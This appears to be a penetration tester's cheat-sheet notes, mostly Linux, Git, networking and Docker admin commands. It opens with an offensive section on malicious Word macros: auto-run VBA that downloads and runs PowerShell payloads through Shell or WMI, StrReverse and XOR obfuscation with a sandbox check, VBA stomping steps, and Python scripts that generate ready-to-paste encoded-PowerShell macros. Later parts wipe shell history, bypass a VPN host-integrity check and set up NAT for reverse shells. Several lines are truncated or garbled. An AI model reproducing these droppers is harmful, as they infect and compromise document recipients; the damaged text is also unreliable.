Sub Document_Open()
DecryptPage
End Sub

Sub AutoOpen()
DecryptPage
End Sub

Sub DecryptPage()
[Link]
[Link]
[Link]("DecryptedBody").Insert Where:=[Link]
End Sub

VBA Stomping

Manually

1. Create a .doc file with a malicious VBA macro.

2. Open it with FlexHEX: File > Open > OLE Compound File.
3. Open Macros > VBA > NewMacros file.
4. Locate the Attribute VB_Name ASCII string (starts with \x41\x74\x74... ) and replace all the
bytes with zeros till the end of the file: Edit > Insert Zero Block.
5. Save the .doc and exit.

Now the VBA source code is wiped and execution of macro will be performed via the P-code (if the victim's
MS Word is the same).

After the macro is executed this way MS Word will decompile the P-code and put the VBA source
code back into the NewMacros file, so it will reappear in the VBA editor as well.

EvilClippy

[Link]

PS > .\[Link] -s [Link] [Link]

[Link]
Sub Document_Open()
Hello
End Sub

Sub AutoOpen()
Hello
End Sub

Sub Hello()
MsgBox ("Hello, World!")
End Sub

VBA Macros
Wait till a malicious binary is downloaded with PowerShell and execute it:

[Link]
Sub Document_Open()
hShellcodeRunner
End Sub
Sub AutoOpen()
hShellcodeRunner
End Sub
Sub DownloadWaitExec()
Dim str As String
str = "powershell (New-Object [Link]).DownloadFile('[Link]
Shell str, vbHide
Dim exePath As String
exePath = [Link] + "\[Link]"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)

End Sub

De-Chain PowerShell via WMI

[Link]

De-chain PowerShell process from MS Word parent process via WMI:

[Link]
Sub Evil
Dim strArg As String
strArg = "powershell -exec bypass -nop -c IEX(New-Object [Link]).DownloadString('http
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Obfuscate it using StrReverse (CyberChef or Code Beautify):

[Link]
Function Pony(flowers)
Pony = StrReverse(flowers)
End Function

Sub Evil
Dim strArg As String
strArg = Pony(")'[Link]/[Link]//:ptth'(gnirtSdaolnwoD.)[Link] tcejbO-weN(XEI c-
GetObject(Pony(":stmgmniw")).Get(Pony("ssecorP_23niW")).Create strArg, Null, Null, pid
End Sub

Obfuscate it using xor encryption and add heuristics detection check based on comparing the .doc name
with current window name via [Link] :

[Link]
Function Pears(beets)
Pears = Chr(beets Xor Asc("a"))
End Function
Function Strawberries(grapes)
Strawberries = Left(grapes, 3)
End Function

Function Almonds(jelly)
Almonds = Right(jelly, Len(jelly) - 3)
End Function

Function Nuts(milk)
Do
Oatmilk = Oatmilk + Pears(Strawberries(milk))

milk = Almonds(milk)
Loop While Len(milk) > 0
Nuts = Oatmilk
End Function

Function Evil()
If [Link] <> Nuts("016022004079005014002") Then
Exit Function
End If
Dim Apples As String
Dim Water As String
Apples = "31.." _
& "33.." _
& "33.." _
& "37.."
Water = Nuts(Apples)
GetObject(Nuts("022008015012006012021018091")).Get(Nuts("05400801508208306204901901400200401
End Function

Sub Document_Open()
Evil
End Sub

Sub AutoOpen()
Evil
End Sub

Helpers
Generate a ready-to-paste malicios MS Word macro (execution is provided by VBA Shell function):

gen_doc_autoopen_payload_vbshell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
from base64 import
argparse b64encode
import ArgumentParser

parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=200, help='length of a payload chunk lin
args = parser.parse_args()

def gen_payload_vbshell(pwsh_file, chunk_size):


with open(pwsh_file, 'r', encoding='utf-8') as f:
payload = [Link]()

payload = [Link]('utf-16le')
payload = b64encode(payload).decode()
payload = [payload[i:i + chunk_size] for i in range(0, len(payload), chunk_size)]
payload = [f'"{chunk}"' for chunk in payload]
payload = ' _\r\n& '.join(payload)

payload = f"""\
Sub AutoOpen()\r
Evil\r
End Sub\r
\r
Sub Document_Open()\r
Evil\r
End Sub\r
\r
Sub Evil()\r
Text = "powershell -exec bypass -nop -nologo -w hidden -enc " _\r
& {payload}\r
a = Shell(Text, vbHide)\r
End Sub\
""".replace('\t', '')

return payload

if __name__ == '__main__':
print(gen_payload_vbshell(args.pwsh_file, args.chunk_size))

Generate a ready-to-paste malicios MS Word macro (execution is provided by [Link]):

gen_doc_autoopen_payload_wscript_shell.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
from base64 import b64encode
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument('pwsh_file', help='PowerShell script to execute')
parser.add_argument('--chunk-size', type=int, default=50, help='length of a payload chunk line
args = parser.parse_args()

def gen_payload_wscript_shell(pwsh_file, chunk_size):


with open(pwsh_file, 'r', encoding='utf-8') as f:
chunks = [Link]()

chunks = [Link]('utf-16le')
chunks = b64encode(chunks).decode()

chunks = [chunks[i:i+chunk_size] for i in range(0, len(chunks), chunk_size)]


chunks = [f'"{chunk}"' for chunk in chunks]

print('Sub AutoOpen()\r')
print(' Evil\r')
print('End Sub\r\n')

print('Sub Document_Open()\r')
print(' Evil\r')
print('End Sub\r\n')

print('Sub Evil()\r')
print(' Dim Text As String\r')
print(' Text = "powershell -exec bypass -nop -nologo -w hidden -enc "\r')

for chunk in chunks:


print(f' Text = Text + {chunk}\r')

print(' CreateObject("[Link]").Run Text\r')


print('End Sub')

if __name__ == '__main__':
print(gen_payload_wscript_shell(args.pwsh_file, args.chunk_size))

Tools

[Link]
[Link]

⚙️ Admin
Git
Add SSH key to the ssh-agent:

$ eval "$(ssh-agent -s)"


$ ssh-add ~/.ssh/id_rsa

Update to latest version:

$ sudo add-apt-repository ppa:git-core/ppa -y


$ sudo apt update
$ sudo apt install git -y
$ git version

Show global origin config:

$ git config --list --show-origin

Pull Requests
Syncing a forked repository:

# Add remote upstream


$ git remote add upstream [Link]
$ git fetch upstream
$ git rebase upstream/master (or git merge upstream/master)

# Update fork from original repo


$ git pull upstream master

# Push the updates to fork


$ git push -f origin master

Working with a repository during a pull request:

$ git remote add upstream [Link]


$ git fetch upstream
$ git rebase upstream/master
$ git checkout upstream/master
$ git checkout -b new-feature
...Make changes...
$ gc -am "Add a new feature"
$ git push -u origin new-feature
Signing Git Commits

[Link]

[Link]

Cache passphrase in gpg agent (dirty):

$ cd /tmp && touch aaa && gpg --sign aaa && rm aaa [Link] && cd -

Submodules

[Link]

Edit submodule branch:

$ git config --file=.gitmodules -l | grep branch


$ git config --file=.gitmodules [Link] development
$ git submodule sync
$ git submodule update --init --recursive --remote

Linux

Encodings
From CP1252 to UTF-8:

$ iconv -f CP1252 -t UTF8 [Link] -o [Link]


Or
$ enconv -x UTF8 [Link]

Check:

$ enconv -d [Link]
Or
$ file -i [Link]

Remove ANSI escape codes:

$ awk '{ gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' [Link]


Windows/Unix Text

[Link]: ASCII text


VS
[Link]: ASCII text, with CRLF line terminators

From Win to Unix:

$ awk '{ sub("\r$", ""); print }' [Link] > [Link]


Or
$ dos2unix [Link]

From Unix to Win:

$ awk 'sub("$", "\r")' [Link] > [Link]


Or
$ unix2dos [Link]

Network

Connections

$ netstat -anlp | grep LIST


$ ss -nlpt | grep LIST

Public IP

$ wget -q -O - [Link]

Virtual Terminal

Start:
CTRL + ALT + F1-6

Stop:
ALT + F8
Process Kill

$ ps aux | grep firefox


Or
$ pidof firefox

$ kill -15 <PID>


Or
$ kill -SIGTERM <PID>
Or
$ kill <PID>

If -15 signal didn't help, use stronger -9 signal:


$ kill -9 <PID>
Or
$ kill -SIGKILL <PID>

OpenSSL

Encrypt/Decrypt

$ openssl enc -e -aes-128-ecb -in [Link] -out [Link] -K 10101010


$ openssl enc -d -aes-128-ecb -in [Link] -out [Link].ecb_dec -K 10101010

$ echo 'secret_data1 + secret_data2 + secret_data3' | openssl enc -e -aes-256-cbc -a -salt -md


$ echo 'U2FsdGVkX1+d1qH1M3nhYFKscrg5QYt+AlTSBPHgdB4JEP8YSy1FX+xYdrfJ5cZgfoGrW+2On7lMxRIhKCUmWQ

Generate Keys

$ ssh-keygen -t rsa -b 4096 -N 's3cr3t_p4ssw0rd' -C 'user@[Link]' -f rsa_key


$ mv rsa_key rsa_key.old
$ openssl pkcs8 -topk8 -v2 des3 \
-in rsa_key.old -passin 'pass:s3cr3t_p4ssw0rd' \
-out rsa_key -passout 'pass:s3cr3t_p4ssw0rd'
$ chmod 600 rsa_key

$ openssl rsa -text -in rsa_key -passin 'pass:s3cr3t_p4ssw0rd'


$ openssl asn1parse -in rsa_key

$ ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519


GPG

[Link]
[Link]

[Link]

List keychain:

$ gpg --list-keys

Gen key:

$ gpg --full-generate-key [--expert]

Gen revoke cert:

$ gpg --output [Link] --gen-revoke user@[Link]


[Link]

Export user's public key:

$ gpg --armor --output [Link] --export user@[Link]


[Link]

Import recipient's public key:

$ gpg --import [Link]

Sign and encrypt:

$ gpg -o/--output [Link] -e/--encrypt -s/--sign -u/--local-user user1@[Link] -


[Link]

List recipients:

$ gpg --list-only -v -d/--decrypt [Link]

Verify signature:

$ gpg --verify [Link]


$ gpg --verify [Link] [Link]
Decrypt and verify:

$ gpg -o/--output [Link] -d/--decrypt --try-secret-key user1@[Link] [Link]


$ gpg -o/--output [Link] -d/--decrypt -u/--local-user user1@[Link] -r/--recipient

Cleanup

Log Files

$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0

.bash_history

[Link]

$ cat /dev/null > ~/.bash_history && history -c && exit


$ history -c && history -w && exit
$ rm -f ~/.bash_history && kill -9 $$

.zsh_history

$ cat /dev/null > ~/.zsh_history && history -p && exit


$ history -c && history -w && exit
$ rm -f ~/.zsh_history && kill -9 $$

Secure Delete

$ shred -zvu -n7 /path/to/file


$ find /path/to/dir -type f -exec shred -zvu -n7 {} \\;
$ shred -zv -n0 /dev/sdc1
Partitions

How to extend Ubuntu server root partition (Step by Step guide)

List devices:

$ lsblk
$ sudo fdisk -l
$ df -h

Manage partitions:

$ sudo fdisk /dev/sd??

Format:

$ sudo umount /dev/sd??


$ sudo mkfs.<type> -F 32 -I /dev/sd?? -n VOLUME-NAME
type: 'msdos' (=fat32), 'ntfs'

Floppy

$ mcopy -i [Link] [Link] ::[Link]


$ mdel -i [Link] [Link]
Checksums
Compare file hashes:

$ md5sum /path/to/[Link] | awk '{print $1, "/path/to/[Link]"}' > /tmp/[Link]


$ md5sum -c /tmp/[Link]

Compare directory hashes:

$ hashdeep -c md5 -r /path/to/dir1 > [Link]


$ hashdeep -c md5 -r -X -k [Link] /path/to/dir2

Permissions
Set defaults for files:

$ find . -type f -exec chmod 644 {} \;

Set defaults for directories:

$ find . -type d -exec chmod 755 {} \;

Fix Linux Freezes while Copying

$ sudo crontab -l | { cat; echo '@reboot echo $((16*1024*1024)) > /proc/sys/vm/dirty_backgroun


$ sudo crontab -l | { cat; echo '@reboot echo $((48*1024*1024)) > /proc/sys/vm/dirty_bytes'; }

Kernel
Remove old kernels:

$ dpkg -l linux-image-\* | grep ^ii


$ kernelver=$(uname -r | sed -r 's/-[a-z]+//')
$ dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve $kernelver
$ sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -v
Xfce4
Install xfce4 :

$ sudo apt update


$ sudo apt upgrade -y

$ sudo apt install xfce4 xfce4-terminal gtk2-engines-pixbuf -y

GIFs

$ sudo apt install peek -y


Or
$ sudo apt install byzanz xdotool -y
$ xdotool getmouselocation
$ byzanz-record --duration=15 --x=130 --y=90 --width=800 --height=500 ~/Desktop/[Link]

NTP

$ sudo apt purge ntp -y


$ sudo timedatectl set-timezone Europe/Moscow
$ sudo vi /etc/systemd/[Link]
NTP=[Link] [Link] [Link] [Link]
$ sudo service systemd-timesyncd restart
$ sudo timedatectl set-ntp true
$ timedatectl status
$ service systemd-timesyncd status
$ service systemd-timedated status

1. [Link]
2. [Link]

ImageMagick
XOR 2 images:
$ convert [Link] [Link] -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out

Utilities Syntax

tar

.tar

Pack:

tar -cvf [Link] directory

Unpack:

tar -xvf [Link]

.[Link]

Pack:

tar -cvzf [Link] directory

Unpack:

tar -xvzf [Link]

.[Link]

Pack:

tar -cvjf [Link] directory

Unpack:

tar -xvjf [Link]

scp

Local file to a remote system:


$ scp [-P 2222] file txt snovvcrash@10 10 13 37:/remote/directory

Remote file to a local system:

$ scp [-P 2222] snovvcrash@[Link]:/remote/[Link] /local/directory

7z

Encrypt and pack all files in directory::

$ 7z a packed.7z -mhe -p"p4sSw0rD" *

Decrypt and unpack:

$ 7z e packed.7z -p"p4sSw0rD"

Best compression:

$ 7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on files.7z files/

grep/find/sed

Recursive grep:

$ grep -nwr 'pattern' /path/to/dir

Recursive find and replace:

$ find . -type f -name "*.txt" -exec sed -i'' -e 's/\<foo\>/bar/g' {} +

Exec strings and grep on the result with printing filenames:

$ find . -type f -print -exec sh -c 'strings $1 | grep -i -n "signature"' sh {} \;

Find and xargs grep results:

$ find . -type f -print0 | xargs -0 grep <PATTERN>

readlink

Get absolute path of a file:


$ readlink -f somefile txt

paste

Concatenate text files with a delimeter line by line:

$ paste -d':' [Link] [Link] > [Link]

dpkg

$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W

veracrypt

[Link]

# Mount volume
$ veracrypt -t --pim=0 --keyfiles='' --protect-hidden=no /home/snovvcrash/[Link] /mn
# Unmount all
$ veracrypt -d

openconnect

GlobalProtect

Connect:

$ sudo openconnect --protocol=gp [Link] -u snovvcrash

Bypass HIP:

[Link]
[Link]

PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\[Link]" "[Link]


PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\[Link]" "PanGpHipM
PS > Rename-Item "C:\Program Files\Palo Alto Networks\GlobalProtect\wa_3rd_party_host_64.exe"
LAMP
[Link]

# PHP
$ sudo add-apt-repository ppa:ondrej/php -y
$ sudo apt update
$ sudo apt install php7.2 -y
$ sudo apt install php7.2-curl php7.2-gd php7.2-json php7.2-mbstring -y

# Apache
$ sudo apt install apache2 libapache2-mod-php7.2 -y
$ sudo service apache2 restart

# MySQL
$ sudo apt install mysql-server php7.2-mysql
$ sudo mysql_secure_installation
$ service mysql restart

# Test
$ sudo sh -c 'echo "<?php phpinfo(); ?>" > [Link]'
-> [Link]

Fun

CMatrix

$ sudo apt-get install cmatrix

screenfetch

$ wget -O screenfetch [Link]


$ chmod +x screenfetch
$ sudo mv screenfetch /usr/bin

Kali

[Link]
Branches
Switch to the most stable branch:

$ echo "deb [Link] kali-last-snapshot main non-free contrib" | sudo tee /et

Setup Checklist
Mix settings list (both for hardware install and virtualization):

[VM] Disable screen lock (Power Manager -> Display, Security -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/[Link] to HTTPS if getting "403 Forbidden" be
$ sudo apt update && sudo upgrade -y
$ sudo reboot
[VM] Install guest additions
* Insert Guest Additions CD image and open terminal there
$ cp /media/cdrom0/[Link] ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAd
$ sudo reboot
$ rm ~/Desktop/[Link] && sudo eject
[ALL] Manage users
* Enable root or create new user
SWITCH {
CASE (root):
$ sudo -i
$ passwd root
* Re-login as root
CASE (non-root):
$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
$ sudo passwd snovvcrash
$ sudo usermod -aG sudo snovvcrash
* Re-login as snovvcrash
}
* Disable kali user [VM]
SWITCH {
CASE (lock):
$ sudo usermod -L kali
$ sudo usermod -s /sbin/nologin kali
$ sudo chage -E0 kali
CASE (delete):
$ sudo userdel -r kali
}
[ALL] Configure sudo
* Increase sudo password timeout value or disable password prompt completely
$ sudo visudo
SWITCH {
CASE (increase timeout):
$ sudo sh -c 'echo "Defaults env_reset,timestamp_timeout=45
CASE (disable password):
$ sudo sh -c 'echo "snovvcrash ALL=(ALL) NOPASSWD: ALL" > /etc
}
[ALL] Clone dotfiles
$ git clone [Link] ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autoconfig scripts on the discretion

Console Logging

script

$ script ~/ws/shells/`date "+%FT%H%M%S"`.script

tmux

[Link]

bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh

Time in Prompt

bash

~/.bashrc (replace ! with % ):

PS1='${debian_chroot:!($debian_chroot)}[\D!d}|\D{!k:!M}] \[\033[01;32m\]λ \[\033[00m\]\[\033

zsh

$ZSH_CUSTOM/themes/[Link]-theme (replace ! with % ):

PROMPT="!(?:!{$fg_bold[green]!}➜ :!{$fg_bold[red]!}➜ ) "


PROMPT+='!{$fg[cyan]!}!(4~|!-1~/…/!2~|!3~)!{$reset_color!} $(git_prompt_info)'

if lsof -tac script "$(tty)" > /dev/null; then


PROMPT="[!D{!d}|!D{!k:!M}]* $PROMPT"
else
PROMPT="[!D{!d}|!D{!k:!M}] $PROMPT"
fi
Tricks

Paperify

When dealing with an engagement where there's no internet access available on the attacker's box, one can
use paperify to send data to her teammates (hashes to brute force, for example).

Zip the hashes with best compression, base64 the archive and create a QR code:

$ 7z a -t7z -m0=lzma -mx=9 -mfb=64 -md=32m -ms=on archive.7z [Link]


$ base64 -w0 archive.7z > 7z
$ ./[Link] 7z

Translate the QR code with your favorite mobile app and send the contents via a secure channel (e. g., a
messenger). Now your teammates can reverse the process to get the initial zip file:

PS > .\b64decode.ps1 .\[Link] out.7z

b64decode.ps1
$IN = $args[0]
$OUT = $args[1]
$data = [[Link]]::ReadAllText("$pwd\$IN")
[[Link]]::WriteAllBytes("$pwd\$OUT", [Convert]::FromBase64String($data))

Debian to Kali

sudo sh -c 'echo "\ndeb [Link] kali-rolling main contrib non-free" >> /etc/
sudo apt-key adv --keyserver hkp://[Link] --recv-keys ED444FF07D8D0BF6
sudo apt update
sudo apt install kali-tools-top10 -y

Networking

[Link]
[Link]
[Link]

Log Connections
tcpdump/tshark

Register ICMP replies from [Link]:

$ sudo tcpdump -n -i tun0 -XSs 0 'src [Link] and icmp[icmptype]==8'

iptables

Add rule to register new (does not watch for related, established) connections to your machine:

$ sudo iptables -A INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect

Check the logs:

$ sudo grep IPTables /var/log/messages

Delete rule:

$ sudo iptables -D INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect

Tools

dhclient

Release the current lease on eth0 and obtain a fresh IP via DHCP in Linux:

$ sudo dhclient -v -r eth0


$ sudo dhclient -v eth0

iptables

[Link]
[Link]

List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):

$ sudo iptables -L -n --line-numbers [-t filter]

Print rules for all chains (for a specific chains):


$ sudo iptables -S [INPUT [1]]

fail2ban

/etc/fail2ban/filter.d - filters which turn into user-defined fail2ban iptables rules


(automatically).

Status:

$ sudo service fail2ban status


$ sudo fail2ban-client status
$ sudo fail2ban-client status sshd

Unban:

$ sudo fail2ban-client unban --all


$ sudo fail2ban-client set sshd unbanip <IP>

OpenVPN

[Link]

DHCP Server & Linux Hotspot

[Link]
[Link]

Install stuff:

sudo apt install isc-dhcp-server hostapd -y


sudo systemctl enable isc-dhcp-server
sudo systemctl unmask hostapd
sudo systemctl enable hostapd

Configure DHCP:

/etc/dhcp/[Link]
option domain-name "local";
option domain-name-servers [Link], [Link];
default-lease-time 600;
max-lease-time 7200;
subnet [Link] netmask [Link] {
range [Link] [Link];
option subnet-mask [Link];
option broadcast-address [Link];
}

Configure hotspot:

/etc/hostapd/[Link]
interface=wlan0

driver=nl80211
ssid=LinuxHotspot
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Passw0rd!
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Configure interface (+ set the iface name in /etc/default/isc-dhcp-server ):

/etc/network/interfaces
iface wlan0 inet static
address [Link]
netmask [Link]

Set static IP on the interface:

sudo ifconfig wlan0 down


sudo ifconfig wlan0 [Link]
sudo ifconfig wlan0 up

Restart the services:

$ sudo service isc-dhcp-server restart


$ sudo service hostapd restart

Quick Configurations
Static Config

Manually

$ sudo service NetworkManager stop


$ ifconfig
$ sudo ifconfig eth0 [Link] netmask [Link]
$ sudo route add default gw [Link] dev eth0
$ route -n

$ sudo vi /etc/[Link]
domain [Link]
search [Link]
nameserver [Link]
$ ping [Link]
$ nslookup [Link]
$ sudo systemctl enable ssh --now

netplan

/etc/netplan/*.yaml :

network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [[Link]/24]
gateway4: [Link]
dhcp4: true
optional: true
nameservers:
addresses: [[Link],[Link]]

Apply:

$ sudo service NetworkManager stop


$ sudo netplan apply

resolvconf

[Link]
overwritten
$
$ sudo
sudo apt install resolvconf
vi /etc/resolvconf/[Link].d/base
$ sudo resolvconf -u

Simultaneous Interfaces
Configure multiple interfaces to work simultaneously:

$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# NAT
allow-hotplug eth0
iface eth0 inet dhcp

# Internal
allow-hotplug eth1
iface eth1 inet dhcp

# Host-only
allow-hotplug eth2
iface eth2 inet dhcp

# The loopback network interface


auto lo
iface lo inet loopback

$ ifup eth0
$ ifup eth1
$ ifup eth2

Inner and Outer Traffic


Route inner traffic to eth0 (lan), Internet to wlan0 (wan):

$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
[Link] [Link] [Link] UG 100 0 0 eth0
[Link] [Link] [Link] UG 600 0 0 wlan0
[Link] [Link] [Link] U 600 0 0 wlan0
[Link] [Link] [Link] U 100 0 0 eth0
$ sudo ip route add [Link]/16 via [Link] metric 100 dev eth0
$ sudo ip route add [Link]/12 via [Link] metric 100 dev eth0
$ sudo ip route add [Link]/8 via [Link] metric 100 dev eth0
$ sudo ip route del [Link]/0 via [Link] dev eth0

$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
[Link] [Link] [Link] UG 600 0 0 wlan0

[Link] [Link] [Link] UG 100 0 0 eth0


[Link] [Link] [Link] UG 100 0 0 eth0
[Link] [Link] [Link] U 600 0 0 wlan0
[Link] [Link] [Link] U 100 0 0 eth0
[Link] [Link] [Link] UG 100 0 0 eth0

$ sudo chattr -i /etc/[Link]


$ sudo vi /etc/[Link]
...change dns resolve order if necessary...

Wrap All Traffic into VPN in Windows


Check the name of VPN interface ( Virtual Ethernet Adapter ):

Cmd > ipconfig /all

Адаптер Ethernet Ethernet 2:

DNS-суффикс подключения . . . . . :
Описание. . . . . . . . . . . . . : Virtual Ethernet Adapter
...
IPv4-адрес. . . . . . . . . . . . : [Link](Основной)

Checks its id ( 16 , it's shown in decimal):

Cmd > route print -4


===========================================================================
Список интерфейсов
16...00 ff 00 ff 00 ff ......Virtual Ethernet Adapter

Add a static route to wrap all traffic into the VPN gateway. To achieve that specify VPN interface id in
hexadecimal ( 0x10 in this example) and set higher priority for this route (i.e., lower metric) than default
gateway route has:

Cmd > route add [Link] mask [Link] [Link] metric 7 if 0x10
Cmd
... > route print -4
IPv4 таблица маршрута
===========================================================================
Активные маршруты:
Сетевой адрес Маска сети Адрес шлюза Интерфейс Метрика
[Link] [Link] [Link] [Link] 25
[Link] [Link] [Link] [Link] 7

To delete the route run:

Cmd > route add [Link] mask [Link] [Link]

Routing

VM as a Router

[Link]

Configure traffic routing and NAT from a Windows host ([Link], eth0) through a Linux VM
([Link], eth1 bridged interface) to VPN ([Link]/24, tun0).

Enable IP forwarding on Linux VM:

$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'

Create iptables rules to do the forwarding on Linux VM:

$ sudo iptables -A FORWARD -i tun0 -o eth1 -m state --state RELATED,ESTABLISHED -j ACCEPT


$ sudo iptables -A FORWARD -i eth1 -o tun0 -j ACCEPT

For the purpose of redirecting NEW connections from Linux tun0 to Windows host I can set socat on a
needed port as a quick solution (actually it's not necessary for this routing task):

$ sudo socat TCP-LISTEN:1337,fork TCP:[Link]:1337

Create iptables rules to do NAT on Linux VM:

$ sudo iptables -t nat -A POSTROUTING -s [Link]/24 -o tun0 -j MASQUERADE

Add a route to Linux VM on Windows host:

Cmd > route add [Link] mask [Link] [Link]


OpenVPN Jump Server
I shall configure an intermediate OpenVPN server to serve as a jump box (1st hop) to connect to the target
lab. It's helpful when the target OpenVPN server (2nd hop) doesn't allow to have multiple connections with
the same common name ( --duplicate-cn not set), i.e. using the same client's .ovpn profile.

OpenVPN Jump Server Scheme

Quick OpenVPN server installation:

[Link]

$ sudo apt update


$ wget [Link] -O [Link]
$ chmod +x [Link]
$ sudo bash [Link]

Check OpenVPN server status:

$ sudo service openvpn-server@server status

Change server config ( /etc/openvpn/server/[Link] ):

# Allocate a virtual /30 network


topology net30

# Add as many clients as you need


route [Link] [Link]
route [Link] [Link]

# Set a directory to look for clients' configs


client-config-dir ccd

Create a directory with clients' configs to push and set static IPs for clients:

$ sudo mkdir /etc/openvpn/server/ccd


$ sudo sh -c 'echo "ifconfig-push [Link] [Link]" > /etc/openvpn/server/ccd/kali'
$ sudo sh -c 'echo "ifconfig-push [Link] [Link]" > /etc/openvpn/server/ccd/parrot'
$ sudo sh -c 'echo "ifconfig-push [Link] [Link]" > /etc/openvpn/server/ccd/ubuntu'

For other clients /30 subnets must be used as well:

[1,2] [5,6] [9,10] [13,14] [17,18] [21,22] [25,26] [29,30] [33,34] [37,38] [41,42] [45,46] [49

Restart OpenVPN server ( tun0 ):

$ sudo service openvpn-server@server restart

Start OpenVPN client ( tun1 ):

$ nohup sudo openvpn --client --config [Link] &

Check interfaces:

$ ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet [Link] netmask [Link] destination [Link]
inet6 fe80::ca99:1dec:45c1:5d7a prefixlen 64 scopeid 0x20<link>
inet6 [Link] prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 724 (724.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ ifconfig tun1
tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet [Link] netmask [Link] destination [Link]
inet6 [Link] prefixlen 64 scopeid 0x0<global>
inet6 fe80::bbe3:5b14:117e:4b99 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 800 (800.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configure NAT:

# Source NAT to reach resources from tun0 to tun1


$ sudo iptables -t nat -A POSTROUTING -s [Link]/16 -o tun1 -j SNAT --to-source [Link]
# Destination NAT to trigger reverse shells from tun1 to tun0 (separate port ranges for separ
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 6001:7000 -j DNAT --to-destination
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 7001:8000 -j DNAT --to-destination
$ sudo iptables -t nat -A PREROUTING -i tun1 -p tcp --dport 8001:9000 -j DNAT --to-destination

Make iptables rules persistent:

$ sudo apt install iptables-persistent -y


$ sudo service netfilter-persistent save

Add the following directive to client's .ovpn config to ignore default gateway redirection:

pull-filter ignore "redirect-gateway"

Connect to tun0 as a client (example for the kali client) and manually add a route only for traffic you
want to go through VPN:

$ sudo openvpn [Link]


$ sudo ip route add [Link]/24 via [Link] metric 0 dev tun0

Virtualization

Docker

List all running containers:

$ docker ps -a

Stop all running containers:

$ docker stop `docker container ls -aq`

Remove stopped containers:

$ docker rm -v `docker container ls -aq -f status=exited`


Remove all images:

$ docker rmi `docker images -aq`

Attach to a running container:

$ docker exec -it <CONTAINER> /bin/bash

Unsorted:

$ docker start -ai <CONTAINER>


$ docker cp project/. <CONTAINER>:/root/project
$ docker run --rm -it <CONTAINER> --name <NAME> ubuntu bash
$ docker build -t <USERNAME>/<IMAGE> .

Installation

Linux

docker-engine

$ sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-co


(Ubuntu) $ curl -fsSL [Link] | sudo apt-key add -
(Kali) $ curl -fsSL [Link] | sudo apt-key add -
[$ sudo apt-key fingerprint 0EBFCD88]
(Ubuntu) $ sudo add-apt-repository "deb [arch=amd64] [Link]
(Kali) $ echo 'deb [arch=amd64] [Link] buster stable' | sudo
$ sudo apt update
[$ apt-cache policy docker-ce]
$ sudo apt install docker-ce -y
[$ sudo systemctl status docker]
$ sudo usermod -aG docker ${USER}
relogin
[$ docker run --rm hello-world]

docker-compose

[Link]

$ sudo curl -L "[Link]


$ sudo chmod +x /usr/local/bin/docker-compose
$ sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
Hyper-V

[Link]

Enable feature:

PS > Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

Sharing VPN

[Link]

Enhanced Session Mode

[Link]
vms/ba-p/382415
[Link]

1. sudo apt install hyperv-daemons

2. kali-tweaks

3. "Configure the system for Hyper-V enhanced session mode" > Shut down VM.

